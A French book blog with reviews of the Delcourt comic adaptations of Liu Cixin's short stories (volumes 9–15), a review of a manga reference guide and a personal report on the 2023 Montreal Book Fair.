Les années quatre-vingt-dix: Gunnm, Sailor Moon, Amer Béton, Ikkyu, L’Habitant de l’Infini, Détective Conan, Dragon Head, Blue, Card Captor Sakura, Inu Yasha, Mars, Yu-Gi-Oh!, Great Teacher Onizuka, One Piece, Blame!, Eden, Fruits Basket, Hunter x Hunter, Quartier Lointain, Spirale, Vagabon, Vampyre, Naruto.

Les années deux-mille: 20th Century Boys, Dorohedoro, Nana, Bleach, Fullmetal Alchemist, L’Académie Alice, Chocola et Vanilla, Death Note, Yotsuba &!, Le Pavillon des Hommes, Undercurrent, Ushijima l’Usurier de l’Ombre, L’Infirmerie Après les Cours, Litchi Hikari Club, Sawako, Vinland Saga, Black Butler, Les Enfants de la Mer, Otomen, Switch Girl!!, Dans un Recoin de ce Monde, Bonne Nuit Punpun, March Comes In Like A Lion, Bride Stories, Princess Jellyfish, Utsubora, L’Attaque des Titans. 

Les années deux-mille-dix: & (And), Blue Spring Ride, L’Ère des Cristaux, One-Punch Man, Orange, A Silent Voice, Innocent, L’Étranger de la Place, Après la Pluie, My Hero Academia, L’Enfant et le Maudit, Beastars, Solitude d’un Autre Genre, The Promised Neverland, Don’t Call It Mystery, Les Liens du Sang, Saturn Return, Chainsaw Man, My Broken Mariko, Spy x Family, Veil.

C’est une liste qui est discutable (j’ai mis en gras ce que j’ai lu) mais qui offre tout de même un matériel de référence essentiel et d’excellentes suggestions de lectures. À lire, donc, si les mangas vous intéressent.

Seule déception (comme c’est souvent le cas dans les ouvrages d’Animeland): chaque titre est accompagné d’une fiche technique qui résume les informations du texte mais qui n’inclut seulement que l’année de parution, l’auteur et l’éditeur original. Personnellement, je préfère des fiches techniques plus élaborées: dans quel périodique l’histoire a-t-elle d’abord été publiée et à quelles dates ? Quel est le titre original ? À quel genre appartient-il ? Quel est le public cible ? Est-ce disponible en traduction et chez quel éditeur ? Est-ce une série et, si oui, de combien de volumes ? Etc. Un indice d’appréciation (sur cinq étoiles par exemple) aurait également été bienvenue. Ces informations sont peut-être données dans le corps du texte, mais le but d’une fiche technique est de résumer le tout d’un seul coup d’oeil.

COUDIÈRE, Bénédicte (Ed.). 100 mangas qui ont marqué l’histoire! Paris: Ynnis, Août 2024. 206 pages. 35,00 € / $59.95. ISBN 978-2-37697-437-6. stars-3-0

Vous trouverez plus d’information sur les sites suivants:

[ AmazonGoodreadsGoogleNelliganWorldCat ]

[ Translate ]

Les migrants du temps (Liu Cixin 15)

Cixin-15-MigrantDuTemps-cov“15 récits de l’écrivain de SF Liu Cixin adaptées en BD par des auteurs de tous pays ; 15 voyages quantiques à la croisée des dimensions scientifiques, géopolitiques et humanistes, qui imaginent les futurs possibles de l’humanité.

Rongé par la pollution et la surpopulation, l’humanité se résout à la migration dans le temps. 80 millions d’humains sont envoyés dans le futur, espérant que la Terre de demain aura pu se régénérer. Les caissons de cryogénisation ne peuvent gérer que 4 réveils et la durée maximum du voyage, du sommeil, est de 1200 ans maximum. Comment va évoluer l’humanité ? Trouveront-ils un nouvel éden ?”

[Texte du site de l’éditeur et de la couverture arrière]

(Attention, lire l’avertissement de possible divulgacheurs)

 J’ai déjà commenté la version anglaise des premiers volumes de cette série d’adaptation en BD des récits de l’excellent auteur de science-fiction chinois Liu Cixin: 1. Sea of Dreams, 2. The Wandering Earth, 3. The Village Teacher, ainsi que 4. YuanYuan’s Bubbles (publiés au USA dans la série “Liu Cixin Graphic Novels” de Talos Press). Pour des raisons pratiques (rapidité de publication et disponibilité) j’ai poursuivi ma lecture avec l’édition française qui est publiée (dans un ordre légèrement différent) chez Delcourt sous le titre “Les Futurs de Liu Cixin” et dont j’ai déjà commenté les tomes quatre (Nourrir l’Humanité), cinq (La perfection du cercle), six (Proies et Prédateurs), sept (L’Attraction de la foudre), huit (Brouillage intégral), neuf et dix (La Terre transpercée et L’Ère des anges) ainsi que le onze (Au-delà des montagnes), le douze (Le calcul du papillon), le treize (L’Humanité invisible) et le quatorze (L’Océan des rêves). Les Migrants du temps est le quinzième et dernier volume de la série.

Cixin-15-MigrantDuTemps-p11

T. 15, p. 11

Cet album adapte la nouvelle 时间移民 (Shíjiān yímín / lit. “Migration temporelle”, 18 pages) publiée en décembre 2014 dans l’anthologie du même titre chez Jiangsu Phoenix. La planète étant devenue invivable à cause de la pollution et de la surpopulation, l’humanité tente de survivre en envoyant quatre-vingts millions de jeunes migrants dans le futur grâce à un procédé de cryogénisation. Toutefois, après chacun des sauts dans le futur, ils trouvent des conditions peu hospitalières: après un siècle, ils découvrent un monde en pleine guerre, après un autre cinq-cents ans ils sont rejetés par une humanité qui les considère comme trop primitifs, et après un autre mille ans ils rencontrent une population hostile qui vit principalement dans le virtuel. Comme il ne leur reste plus qu’un seul saut possible, ils tentent le tout pour le tout avec un bond de dix mille ans! Il ne reste plus trace de l’humanité, mais la terre est redevenue un paradis! Ils pourront donc redémarrer à zéro une nouvelle civilisation…

Le récit de Sylvain Runberg (qui avait déjà adapté les tomes quatre et dix) est fluide et plutôt intéressant. Quant au dessin de Serge Pelle, un peu anguleux, il dépeint agréablement les ruines futures de la planète. C’est une très bonne histoire qui conclut bien cette série d’adaptation des univers de Liu Cixin. À lire pour les amateurs de science-fiction.

Les migrants du temps (Les Futurs de Liu Cixin, #15), par Sylvain Runberg (Scénario d’après une nouvelle de Liu Cixin) et Serge Pelle (illustration et couleurs). Paris: Delcourt (Coll. Néopolis), septembre 2023. 72 pages, 21.7 x 29.8 cm, 17.95 € / $36.95 Can, ISBN 978-2-413-03802-3. Pour un lectorat adolescent (12+). stars-3-5

Vous trouverez plus d’information sur les sites suivants:

[ AmazonGoodreadsGoogleNelliganWikipediaWorldCat ]

© 2022 FT Culture (Beijing) Co., Ltd. All rights reserved. © 2023 Éditions Delcourt pour la présente édition.

[ Translate ]

L’Océan des rêves (Liu Cixin 14)

OceanDesReves-Cixin14-cov“15 récits de l’écrivain de SF Liu Cixin adaptées en BD par des auteurs de tous pays ; 15 voyages quantiques à la croisée des dimensions scientifiques, géopolitiques et humanistes, qui imaginent les futurs possibles de l’humanité.”

“Une créature extraterrestre issue de la matière noire s’invite au festival de sculptures sur glace de Harbin. Sa technique comme sa démarche artistique sont radicales : l’entité pille littéralement les cours d’eau, les mers et les océans du globe. Elle reste sourde à nos tentatives de négociations et indifférente à la dissuasion militaire. L’humanité semble perdue…”  [Texte du site de l’éditeur]

“Yan Dong participe au célèbre concours de sculptures monumentales sur glace de Harbin. Soudain surgit de l’espace une entité extraterrestre. C’est un artiste des températures extrêmes, tout à l’urgence de sa nouvelle création.” [Texte de la couverture arrière]

(Attention, lire l’avertissement de possible divulgacheurs)

J’ai déjà commenté la version anglaise des premiers volumes de cette série d’adaptation en BD des récits de l’excellent auteur de science-fiction chinois Liu Cixin: 1. Sea of Dreams, 2. The Wandering Earth, 3. The Village Teacher, ainsi que 4. YuanYuan’s Bubbles (publiés au USA dans la série “Liu Cixin Graphic Novels” de Talos Press). Pour des raisons pratiques (rapidité de publication et disponibilité) j’ai poursuivi ma lecture avec l’édition française qui est publiée (dans un ordre légèrement différent) chez Delcourt sous le titre “Les Futurs de Liu Cixin” et dont j’ai déjà commenté les tomes quatre (Nourrir l’Humanité), cinq (La perfection du cercle), six (Proies et Prédateurs), sept (L’Attraction de la foudre), huit (Brouillage intégral), neuf et dix (La Terre transpercée et L’Ère des anges) ainsi que le onze (Au-delà des montagnes), le douze (Le calcul du papillon) et le treize (L’Humanité invisible). Les titres se succèdent au rythme d’environ un par mois et il ne m’en reste plus qu’un à lire:  15. Les migrants du temps (septembre).

OceanDesReves-Cixin14-pl01Cet album adapte la nouvelle 梦之海 (Mèng zhī hǎi / lit. “Mer de rêves”) publié en 2002 dans le mensuel chinois 科幻世界 (Kēhuàn shìjiè / lit. “le monde de la science-fiction” ou Science Fiction World). Un artiste interstellaire s’inspire d’un sculpteur de glace sur Terre mais son travail artistique, qui utilise toutes les ressources en eau de planète, menace la survie de l’humanité. Il n’accepte de communiquer qu’avec l’artiste chinois mais celui-ci n’arrive pas à le convaincre d’épargner la Terre.

Comme je l’ai mentionné quand j’ai commenté cet album en anglais, c’est une histoire charmante qui offre une intéressante réflection sur l’art et le fait que la nécessité est la mère de l’invention. Il semble que ce n’est que dans ce genre de situation désespérée que l’humanité délaisse ses différences et s’unit pour saisir le défi. Toutefois le style du dessin un peu brouillon ne m’attire pas beaucoup. Une bonne lecture tout de même.

L’Océan des rêves (Les Futurs de Liu Cixin, #14), par Rodolfo Santullò (Scénario d’après une nouvelle de Liu Cixin) et Jok (illustration et couleurs). Paris: Delcourt (Coll. Néopolis), août 2023. 94 pages, 21.8 x 29.8 cm, 19.99 € / $36.95 Can, ISBN 978-2-413-03798-9. Pour un lectorat adolescent (12+). stars-3-0

Vous trouverez plus d’information sur les sites suivants:

[ AmazonGoodreadsGoogleNelliganWikipediaWorldCat ]

© 2020 FT Culture (Beijing) Co., Ltd. All rights reserved. © 2023 Éditions Delcourt pour la présente édition.

[ Translate ]

SDL 2023

SLM_2023-AfficheComme chaque année, depuis des temps immémoriaux, je suis allé faire mon tour au Salon du Livre de Montreal, qui se tenait du 22 au 26 novembre au Palais des Congrès. Et comme toutes les fois, depuis au moins une dizaine d’années, je n’y ai rien trouvé d’excitant. Il se publie de plus en plus de livres et c’est de plus en plus difficile de trouver quelques choses d’intéressants — de séparer le bon grain de l’ivraie. Trop c’est comme pas assez. J’ai aussi le sentiment qu’on favorise trop la quantité sur la qualité. J’allais souvent au salon pour découvrir les nouveautés mais j’ai l’impression que maintenant les distributeurs nous présentent surtout leurs meilleurs vendeurs au lieu de leurs nouveautés. Payer un prix d’entrée de $13 pour juste se retrouver avec un mal de jambes en fin de journée c’est un peu décevant.

SLM_2023-planJ’ai parcouru le salon de long en large (au Palais des Congrès il faut le faire en deux partie: la section du Hall Viger et la section du Hall Place Riopelle) surtout pour visiter les kiosques des grands distributeurs où se regroupaient les éditeurs de BD et de manga : Interforum (Akata, Ki-oon, Komikku, Kurokawa), Prologue (Ankama, Dargaud, Kana, Le Lombard, Vega-Dupuis), Gallimard/Flammarion (Casterman, Futuropolis, Rue de Sèvres), Hachette (Albert-René, Delcourt, Glénat, Kazé, Le Lézard Noir, Nobi Nobi, Panini, Pika, Soleil, Ynnis), avec quelques arrêts ici et là, pour finir en beauté chez Alire, où il y avait samedi un lancement avec cocktail de 18:00 à 20:00. C’est là où j’ai eu le plus de plaisir.

Toutefois, tout n’est pas perdu puisque j’ai tout de même noté quelques titres à investiguer (je vais probablement en faire la suggestion d’achat à ma bibliothèque publique):

Je n’ai pas vu un seul manga intéressant (la tendance étant au shonen de baston ou d’horreur) mais du côté de la littérature nippone j’ai noté deux éditeurs intéressants, tous deux aux kiosque de Harmonia Mundi: Atelier Akatombo (qui publie notamment du manga, du polar et de la SF!) et Picquier (qui se consacre à traduire et publier des livres d’Asie). Voici quelques titres qui y étaient présenté et qui feraient sans doute de bonnes suggestions de lecture:

Dans la même ligné, je recommande les romans de Aki Shimazaki qui est une auteure japonaise établie au Québec et publiée chez Leméac/Actes Sud (distribué par ADP). [AmazonGoodreadsLes LibrairesNelligan]

J’ai fait un petit arrêt chez Druide Informatique pour jeter un coup d’oeil à leur logiciel Antidote car, que ce soit en français ou en anglais, mon écriture a besoin d’un correcteur et l’auto-correction du système d’opération d’Apple est malheureusement insuffisante (elle a de la difficulté avec l’écriture bilingue). Cependant ce n’est pas donné: le logiciel Antidote 11 coûte $129.95 (sans mise à niveau!). La solution la plus complete est l’Antidote+ Personnel en abonnement annuel à $60 (et pour ajouter le module bilingue c’est $30 par an de plus !). C’est un pensez-y bien… (C’est tout de même pas si cher car avec taxes c’est environ $103 et donc un peu moins de $9 par mois….)

Le clou de la soirée a été le lancement des nouveautés d’automne aux Éditions Alire:

Parmi les nouveautés on retrouvait également six rééditions en format de poche: Ceux de là-bas (Patrick Senécal), Chrysanthe 2 & 3 (Yves Meynard), La Vieille Fille 2 & 3 (Catherine Sylvestre) et Un Éclat d’Antan (Guy-Gavriel Kay).

IMG_0132

Catherine Sylvestre et Lionel Noël

Cela m’a permis de retrouver de vieilles connaissance ou d’en rencontrer de nouvelles et d’avoir d’intéressante conversations littéraires sur l’état politique et apocalyptique du monde. Je n’ai malheureusement pas pris beaucoup de photos (c’est compliqué de faire le photographe avec un verre de vin à la main!). J’ai ainsi rencontré, entre autres, Wayne Arthurson (Déshonneur au Camp 133), Natasha Beaulieu (Les perles noires), Sylvie Bérard (La Frugalité du temps), Alain Bergeron (Le Huitième Registre), Michèle Laframboise (Rose du Désert), Yves Meynard (Chrysanthe 3), Lionel Noël (Septembre avant l’apocalypse), Jean-Jacques Pelletier (Rien), Jean Pettigrew (éditeur chez Alire), Christian Sauvé (qui m’a finalement fourni le lien vers la présentation qu’il a faite à Boréal sur l’histoire du cinéma de SF), Patrick Senécal (Résonances), Daniel Sernine (Les Passerelles du temps, directeur de Lurelu), et Catherine Sylvestre (La Vieille Fille et l’enfant). Ce fut un moment bien agréable. Merci à toute l’équipe d’Alire pour leur bon travail.

[ Translate ]

L’Humanité invisible (Liu Cixin 13)

HumaniteInvisible-Cixin13-cov“15 récits de l’écrivain de SF Liu Cixin adaptées en BD par des auteurs de tous pays ; 15 voyages quantiques à la croisée des dimensions scientifiques, géopolitiques et humanistes, qui imaginent les futurs possibles de l’humanité.”

“Depuis la confirmation d’un terrible flash d’énergie solaire, des dizaines de navettes spatiales avaient embarqué le maximum d’espèces terrestres, parties en quête d’un astre habitable. Notre unique et dernière solution pour perpétuer la vie. Et aujourd’hui, le Précurseur revenait enfin, seul survivant, après des années-lumière d’exploration. Dans quel état allait-il retrouver la Terre ?”  [Texte du site de l’éditeur]

“De retour sur Terre après des centaines d’années, Précurseur découvre avec effroi que le flash solaire s’est produit et a ravagé la planète. La vie n’y est désormais plus possible. Mais alors, quels sont ces messages vidéos ?” [Texte de la couverture arrière]

(Attention, lire l’avertissement de possible divulgacheurs)

J’ai déjà commenté la version anglaise des premiers volumes de cette série d’adaptation en BD des récits de l’excellent auteur de science-fiction chinois Liu Cixin: 1. Sea of Dreams, 2. The Wandering Earth, 3. The Village Teacher, ainsi que 4. YuanYuan’s Bubbles (publiés au USA dans la série “Liu Cixin Graphic Novels” de Talos Press). Pour des raisons pratiques (rapidité de publication et disponibilité) j’ai poursuivi ma lecture avec l’édition française qui est publiée (dans un ordre légèrement différent) chez Delcourt sous le titre “Les Futurs de Liu Cixin” et dont j’ai déjà commenté les tomes quatre (Nourrir l’Humanité), cinq (La perfection du cercle), six (Proies et Prédateurs), sept (L’Attraction de la foudre), huit (Brouillage intégral), neuf et dix (La Terre transpercée et L’Ère des anges) ainsi que le onze (Au-delà des montagnes) et le douze (Le calcul du papillon). Les titres se succèdent au rythme d’environ un par mois et il ne m’en reste plus que deux à lire: 14. L’Océan des rêves (août, déjà commenté en anglais) et 15. Les migrants du temps (septembre).

HumaniteInvisible-Cixin13-p024

Vol. 13, p. 24

Cet album adapte la nouvelle 微纪元 (Wēi jìyuán / lit. “La micro époque”) publié en 2001 dans le mensuel chinois 科幻世界 (Kēhuàn shìjiè / lit. “le monde de la science-fiction” ou Science Fiction World). Suite à la découverte qu’un flash d’énergie solaire détruira la Terre, plusieurs vaisseaux d’exploration sont envoyé vers des exo-planètes pour vérifier si elles sont habitables. Seul survivant de ces expéditions, Précurseur revient bredouille sur Terre plusieurs millénaires plus tard (due à la relativité qui cause une dilatation temporelle) pour découvrir que le flash a bel et bien rendu la Terre inhabitable. Toutefois, il reçoit des messages vidéos de bienvenue ! L’Humanité a survécu en se miniaturisant et en vivant comme des microbes dans de minuscules cités souterraines. Son retour déclenchera une nouvelle ère de développement pour l’Humanité…

Dans un style graphique agréable similaire à celui des mangas japonais, Liu Wei fait une excellente adaptation d’un récit de hard-science qui est malheureusement ridiculement invraisemblable. C’est néanmoins une lecture agréable. À lire tout de même par curiosité.

L’Humanité invisible (Les Futurs de Liu Cixin, #13), par Liu Wei (Scénario d’après une nouvelle de Liu Cixin). Paris: Delcourt (Coll. Néopolis), juin 2023. 78 pages, 21.6 x 29.2 cm, 17.95 € / $36.95 Can, ISBN 978-2-413-03803-0. Pour un lectorat adolescent (12+). stars-2-5

Vous trouverez plus d’information sur les sites suivants:

[ AmazonGoodreadsGoogleNelliganWikipediaWorldCat ]

© 2021 FT Culture (Beijing) Co., Ltd. All rights reserved. © 2023 Éditions Delcourt pour la présente édition.

Le calcul du papillon (Liu Cixin 12)

CalculDuPapillon-cov“15 récits de l’écrivain de SF Liu Cixin adaptées en BD par des auteurs de tous pays ; 15 voyages quantiques à la croisée des dimensions scientifiques, géopolitiques et humanistes, pour imaginer les possibles futurs de l’humanité.”

“Belgrade sous les bombes. L’organisme de la petite Katya rejette sa récente greffe de rein. Son père, Alexsander, cherche un supercalculateur pour déterminer les coordonnées terrestres exactes d’où provoquer la formation d’un épais brouillard. Pour donner le répit nécessaire au rétablissement de sa fille, pour sauver leurs vies… Les premières coordonnées indiquent le désert malien…”  [Texte du site de l’éditeur]

“Pour stopper les bombardements de l’OTAN, Aleksander a mis au point une modélisation mathématique capable de lui indiquer les coordonnées terrestres d’où provoquer un épais brouillard. Mais il a besoin d’un supercalculateur.” [Texte de la couverture arrière]

(Attention, lire l’avertissement de possible divulgacheurs)

J’ai déjà commenté la version anglaise des premiers volumes de cette série d’adaptation en BD des récits de l’excellent auteur de science-fiction chinois Liu Cixin: 1. Sea of Dreams, 2. The Wandering Earth, 3. The Village Teacher, ainsi que 4. YuanYuan’s Bubbles (publiés au USA dans la série “Liu Cixin Graphic Novels” de Talos Press). Pour des raisons pratiques (rapidité de publication et disponibilité) j’ai poursuivi ma lecture avec l’édition française qui est publiée (dans un ordre légèrement différent) chez Delcourt sous le titre “Les Futurs de Liu Cixin” et dont j’ai déjà commenté les tomes quatre (Nourrir l’Humanité), cinq (La perfection du cercle), six (Proies et Prédateurs), sept (L’Attraction de la foudre), huit (Brouillage intégral), neuf et dix (La Terre transpercée et L’Ère des anges) ainsi que le onze (Au-delà des montagnes). Les titres se succèdent au rythme d’environ un par mois et il ne m’en reste plus que trois à lire: 13: L’Humanité invisible (juin), 14. L’Océan des rêves (août, déjà commenté en anglais) et 15. Les migrants du temps (septembre).

CalculDuPapillon-p005

v. 12, p. 5

Cet album adapte la nouvelle 混沌蝴蝶 (Hùndùn húdié / lit. “Papillon du chaos”) publié en 2001 dans le mensuel chinois 科幻大王 (Kēhuàn dàwáng / lit. “Roi de la science-fiction”). Avec l’aide d’un super-ordinateur russe, un scientifique Yougoslave tente d’utiliser la théorie du chaos et l’effet papillon pour provoquer un brouillard qui empêchera les bombardements ennemi afin de donner un répit pour le traitement de sa fille gravement malade. 

Encore une fois Liu Cixin mélange politique internationale et science (qu’il pousse aux limites du vraisemblable — et cette fois il les dépasse largement) pour nous offrir un intéressant récit de hard-science qui nous interroge sur la nature humaine et les capacités de notre savoir. C’est toutefois son récit le moins crédible de la série. L’adaptation narrative et le style graphique de Dan Panosian est néanmoins fort agréable. À lire tout de même par curiosité.

Le calcul du papillon (Les Futurs de Liu Cixin, #12), par Dan Panosian (Scénario d’après une nouvelle de Liu Cixin). Paris: Delcourt (Coll. Néopolis), mai 2023. 80 pages, 21.8 x 29.8 cm, 19.99 € / $36.95 Can, ISBN 978-2-413-03804-7. Pour un lectorat adolescent (12+). stars-3-0

Vous trouverez plus d’information sur les sites suivants:

[ AmazonGoodreadsGoogleNelliganWikipediaWorldCat ]

© 2022 FT Culture (Beijing) Co., Ltd. All rights reserved. © 2022 Éditions Delcourt pour la présente édition.

[ Translate ]

Au-delà des montagnes (Liu Cixin #11)

AuDelaDesMontagnes-Cixin11-cov“15 récits de l’écrivain de SF Liu Cixin adaptées en BD par des auteurs de tous pays ; 15 voyages quantiques à la croisée des dimensions scientifiques, géopolitiques et humanistes, pour imaginer les possibles futurs de l’humanité.”

“Stationné à l’aplomb exact de la Terre au-dessus de l’océan, un astronef extra-terrestre provoque une absence totale de gravité. Les flots, comme aspirés vers le ciel, entraînent la formation d’un cyclone abyssal, et notre atmosphère s’échappe par la brèche causée par l’astronef. Le géologue Feng Fan va gravir cette monstrueuse colonne d’eau avec l’espoir d’entrer en contact avec son équipage. [Texte du site de l’éditeur; voir aussi la couverture arrière]

(Attention, lire l’avertissement de possible divulgacheurs)

J’ai déjà commenté la version anglaise des premiers volumes de cette série d’adaptation en BD des récits de l’excellent auteur de science-fiction chinois Liu Cixin: 1. Sea of Dreams, 2. The Wandering Earth, 3. The Village Teacher, ainsi que 4. YuanYuan’s Bubbles (publiés au USA dans la série “Liu Cixin Graphic Novels” de Talos Press). Pour des raisons pratiques (rapidité de publication et disponibilité) je vais poursuivre ma lecture avec l’édition française qui est publiée (dans un ordre légèrement différent) chez Delcourt sous le titre “Les Futurs de Liu Cixin” et dont j’ai déjà commenté les tomes quatre (Nourrir l’Humanité) et cinq (La perfection du cercle) ainsi que les sixième (Proies et Prédateurs), septième (L’Attraction de la foudre), huitième (Brouillage intégral), neuvième et dixième (La Terre transpercée et L’Ère des anges) tomes. Les titres se succèdent au rythme d’environ un par mois. Il ne reste plus que quatre tomes à lire: 12. Le calcul du papillon (paru en mai), 13: L’Humanité invisible (juin), 14. L’Océan des rêves (août, déjà commenté en anglais) et 15. Les migrants du temps (à paraître fin septembre).

Les Futurs de Liu Cixin – Tome 11 – Au-delà des montagnes

T.11, p. 83

Cet album adapte la nouvelle 山 (Shān / “Montagne”) publié en 2006 dans le périodique chinois 科幻世界 (Kēhuàn shìjiè / lit. “le monde de la science-fiction” ou Science Fiction World).  Suite à un accident d’alpinisme sur l’Éverest qui à causé la mort de quatre personnes, le géologue Feng Fan a décidé de travailler loin de toute montagne à bord d’un navire de recherche qui étudie les fonds marins. Lorsqu’un gigantesque vaisseau spatial extra-terrestre s’immobilise en orbite géosynchrone à trente-six mille kilomètre de la Terre, il cause une force d’attraction gravitationnelle qui aspire dans le ciel une énorme colonne d’eau d’une hauteur qui dépasse de loin l’Éverest ! Feng, croyant accomplir son destin, décide de gravir cette montagne d’eau et établit un premier contact avec l’un des extra-terrestres qui lui raconte l’histoire de sa civilisation. Ces êtres de métal, constituant une forme de vie mécanique, origine d’une planète creuse. Après avoir prit une centaine de milliers d’années pour en atteindre la surface, ils explorent depuis les galaxies et se sont arrêté à la Terre juste pour dire bonjour…

Un très beau récit, fluide et intriguant, qui nous raconte une histoire “hard science-fiction” de premier contact comme Liu Cixin aime bien en écrire — et qui est comme toujours dans son oeuvre à la limite du vraisemblable. L’adaptation offre une bonne lecture dans un style graphique agréable à l’oeil. Dans ce cas-ci l’auteur et l’artiste sont d’origine espagnole. Une autre bande dessinée qui nous facilite l’accès à l’univers imaginaire de Liu Cixin. À lire.

Au-delà des montagnes (Les Futurs de Liu Cixin, #11), par Eduard Torrents (Scénario d’après une nouvelle de Liu Cixin) et Ruben Pellejero (illustration). Paris: Delcourt (Coll. Néopolis), avril 2023. 94 pages, 21.6 x 29.8 cm, 19.99 € / $36.95 Can, ISBN 978-2-413-03805-4. Pour un lectorat adolescent (12+). stars-3-5

Vous trouverez plus d’information sur les sites suivants:

[ AmazonGoodreadsGoogleNelliganWikipediaWorldCat ]

© 2021 FT Culture (Beijing) Co., Ltd. All rights reserved. © 2023 Éditions Delcourt pour la présente édition.

[ Translate ]

Les Futurs de Liu Cixin #9-10

La Terre transpercée (Liu Cixin 9)

LaTerreTranspercee-cov

“15 récits de l’écrivain de SF Liu Cixin adaptées en BD par des auteurs de tous pays ; 15 voyages quantiques à la croisée des dimensions scientifiques, géopolitiques et humanistes, pour imaginer les possibles futurs de l’humanité.”

“Un physicien est tiré de force d’un sommeil cryogénique par un tribunal populaire qui le condamne à mort ! Stupéfait, Shen Huabei enfile combinaison et scaphandre, comme ses ravisseurs le lui intiment, et saute dans le vide d’un gouffre souterrain. Durant son interminable chute, ses juges instruisent le procès et lui révèlent l’ampleur de la catastrophe qui met également son fils en cause… [Texte du site de l’éditeur]

“Le découverte d’un nouveau matériau solide, fruit du désarmement nucléaire généralisé, permet la construction d’un projet pharaonique. Mais son exploitation se révèle risquée, Shen Huabei et son fils en font l’étrange expérience.” [Texte de la couverture arrière]

(Attention, lire l’avertissement de possible divulgacheurs)

J’ai déjà commenté la version anglaise des premiers volumes de cette série d’adaptation en BD des récits de l’excellent auteur de science-fiction chinois Liu Cixin: 1. Sea of Dreams, 2. The Wandering Earth, 3. The Village Teacher, ainsi que 4. YuanYuan’s Bubbles (publiés au USA dans la série “Liu Cixin Graphic Novels” de Talos Press). Pour des raisons pratiques (rapidité de publication et disponibilité) je vais poursuivre ma lecture avec l’édition française qui est publiée (dans un ordre légèrement différent) chez Delcourt sous le titre “Les Futurs de Liu Cixin” et dont j’ai déjà commenté les tomes quatre (Nourrir l’Humanité) et cinq (La perfection du cercle) ainsi que les sixième (Proies et Prédateurs), septième (L’Attraction de la foudre) et huitième (Brouillage intégral) tomes. Les titres se succèdent au rythme d’environ un par mois.

Page 3

Cet album adapte la nouvelle 地球大炮 (“Dìqiú dàpào” / lit. “Le canon de la Terre”; titre anglais: “The Longest Fall” / “La chute la plus longue”) publié en 2003 dans le périodique chinois 科幻世界 (Kēhuàn shìjiè / lit. “le monde de la science-fiction” ou Science Fiction World).  

Le Dr. Shen Huabei et son fils Yuan ont l’étrange idée de creuser un tunnel de bord en bord de la Terre, au travers du noyau terrestre, pour faciliter le transport. C’est évidement une idée farfelue et impossible, jusqu’à ce que la destruction de l’arsenal nucléaire permette la création d’un nouveau matériau ultra-résistant. Après de nombreux revers le tunnel est complété mais son utilisation est abandonné après qu’un accident ait causé la mort d’un millier d’ouvriers. Des proches des victimes qui cherchent vengeance poussent Shen Huabei dans le tunnel. Durant son interminable chute libre, il réalise que le tunnel pourrait avoir une autre utilisation qui bénéficierait grandement à l’Humanité !

C’est une très belle histoire mais malheureusement les nombreux flash-back et saut dans le temps rendent la narration confuse. Ce volume démontre encore une fois que Liú Cíxīn aime bien les récit qui se déroule sur une longue durée et qui sont à la limite du possible — dans ce cas-ci, si un tunnel entre la Chine et l’Amérique du Sud est présenté comme scientifiquement possible, l’ampleur du projet est plutôt inimaginable. Le style graphique de Wu Qingsong, à mi-chemin entre le comic américain et le manga, est très beau. Cette bande dessinée nous offre donc une lecture intrigante et agréable. Elle constitue une porte qui facilite l’accès à l’univers imaginaire de Liu Cixin.

La Terre Transpercée (Les Futurs de Liu Cixin, #9), par Wu Qingsong (Scénario d’après une nouvelle de Liu Cixin). Paris: Delcourt (Coll. Néopolis), février 2023. 93 pages, 21.5 x 29.8 cm, 21.90 € / $36.95 Can, ISBN 978-2-413-03807-8. Pour un lectorat adolescent (12+). stars-3-5

Capsules

L’ère des anges (Liu Cixin 10)

“15 récits de l’écrivain de SF Liu Cixin adaptées en BD par des auteurs de tous pays ; 15 voyages quantiques à la croisée des dimensions scientifiques, géopolitiques et humanistes, pour imaginer les possibles futurs de l’humanité.”

“Un scientifique africain décide de reprendre le destin de son pays en main. Malgré leurs moyens financiers ou technologiques, les pays développés ne parviennent pas à sortir son pays de la famine. Les fabuleuses ressources de l’Afrique finissent toujours par pervertir l’aide étrangère. Le brillant Dr Ita veut s’affranchir d’un système devenu pernicieux, grâce à une solution génétique contestée. [Texte du site de l’éditeur]

“Lassé des guerres civiles larvées qui minent son pays et des soi-disant coopérations économiques qui le maintiennent dans la pauvreté, un généticien africain décide de reprendre le destin de son pays en mains par des moyens très contestés.” [Texte de la couverture arrière]

Page 34

Cet album adapte la nouvelle 天使时代 (“Tiānshǐ shídài” / lit. “L’âge des anges”; titre anglais: “The Angel Era”) publié en 2002 dans le périodique chinois 科幻世界 (Kēhuàn shìjiè / lit. “le monde de la science-fiction” ou Science Fiction World).  Cette BD nous raconte l’histoire du Dr. Ita qui — lassé du cycle de chaos et de famine qui, sous l’influence du colonialisme des nations développées, maintient sans cesse l’Afrique dans la pauvreté — consacre sa vie à trouver une solution génétique au problème. Si l’amélioration des cultures agricoles demeure une solution insuffisante pourquoi ne pas alors modifier le corps humain pour que son système digestif lui permette d’élargir de manière significative son régime alimentaire ? Toutefois cela transgresse le tabou interdisant les modifications génétiques sur l’humain, controlé par le Comité Bioéthique des Nations Unis (dominé, évidemment, par les nations développées). Le Dr Ita est jugé comme un criminel et son pays, la Xambie, est bombardé sans relâche par les Américains, tant qu’il ne se rendra pas, lui et les milliers d’humains qui ont ainsi été modifié… Toutefois, pour défendre son pays, le Dr Ita a également créé une nouvelle race de guerriers…

Une autre histoire typique de Liu Cixin qui tente de démontrer que la science peut résoudre beaucoup de problèmes si on lui en donne la chance. Il pose également des questions d’un grand intérêt — comme à qui bénéficie vraiment les interdits et les limites qu’on impose à la science ? C’est un autre récit qui se déroule sur une longue durée et que Cixin, pour bien marquer son argument, pousse encore aux limites du vraisemblable. Le style graphique de Ma Yi, qui s’apparente aux comics américains, est assez bien. Le récit est plus fluide que le précédant et nous offre une lecture fascinante et agréable. J’ai bien aimé.

L’ère des anges (Les Futurs de Liu Cixin, #10), par Sylvain Runberg (Scénario d’après une nouvelle de Liu Cixin) & Ma Yi (dessin et couleurs). Paris: Delcourt (Coll. Néopolis), mars 2023. 82 pages, 21.8 x 29.8 cm, 19.99 € / $36.95 Can, ISBN 978-2-41303-808-5. Pour un lectorat adolescent (12+). stars-3-5

Vous trouverez plus d’information sur les sites suivants:

[ AmazonGoodreadsGoogleNelliganWikipediaWorldCat ]

© 2022 FT Culture (Beijing) Co., Ltd. All rights reserved. © 2022 Éditions Delcourt pour la présente édition.

[ Translate ]

Brouillage Intégral (Liu Cixin 8)

